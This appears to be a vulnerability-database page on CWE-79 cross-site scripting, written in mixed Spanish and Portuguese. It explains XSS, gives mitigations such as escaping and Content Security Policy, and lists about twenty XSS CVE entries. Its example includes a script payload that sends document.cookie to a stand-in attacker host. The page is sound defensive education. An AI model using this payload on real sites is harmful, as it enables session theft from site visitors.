Fallos del tipo CWE-79

30.065 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64710MEDIUMBitplatform Boilerplate has cross-site scripting vulnerabilityEPSS 0.3%CVE-2024-6705MEDIUMRegLevel <= 1.2.1 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-15552MEDIUMRagic｜Enterprise Cloud Database - Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-75170MEDIUMCross-site scripting (XSS) vulnerability in the /loginController/doLogin endpoint of the HubCore platform (version 14.1.1) allows a remote uEPSS 0.3%CVE-2026-59929MEDIUMMistune renderers/html.safe_url: HARMFUL_PROTOCOLS list misses legacy and chained schemes that historically chain to `javascript:` executionEPSS 0.3%CVE-2025-5007MEDIUMPart-DB Profile Picture Feature AttachmentSubmitHandler.php handleUpload cross site scriptingEPSS 0.3%CVE-2026-36468MEDIUMCross-site Scripting (XSS) in index.php in CuteNews v.2.1.2 allows remote unauthenticated attackers to supply an arbitrarily named URL paramEPSS 0.3%CVE-2026-11960MEDIUMMultiple vulnerabilities in FacturaScriptsEPSS 0.3%CVE-2025-62693MEDIUMStored XSS through system messages in LastModifiedEPSS 0.3%CVE-2022-34451MEDIUM PowerPath Management Appliance with versions 3.3 & 3.2*, 3.1 & 3.0* contains a Stored Cross-site Scripting Vulnerability. An authenticated EPSS 0.3%CVE-2024-3603MEDIUMOSM – OpenStreetMap <= 6.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-6229MEDIUMStored XSS in stangirard/quivrEPSS 0.3%CVE-2024-42678MEDIUMCross Site Scripting vulnerability in Super easy enterprise management system v.1.0.0 and before allows a local attacker to execute arbitrarEPSS 0.3%CVE-2025-53369HIGHCitizen Short Description stored XSS vulnerability through wikitextEPSS 0.3%CVE-2023-32087MEDIUM Pega Platform versions 8.1 to Infinity 23.1.0 are affected by an XSS issue with task creation EPSS 0.3%CVE-2024-27095MEDIUMDecidim cross-site scripting (XSS) in the admin panelEPSS 0.3%CVE-2023-23898MEDIUMWordPress Blocksy Companion Plugin <= 1.8.67 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-3925MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.6.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via onclick eventsEPSS 0.3%CVE-2024-10147MEDIUMSteel <= 1.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via btn ShortcodeEPSS 0.3%CVE-2025-4011MEDIUMRedmine Custom Query cross site scriptingEPSS 0.3%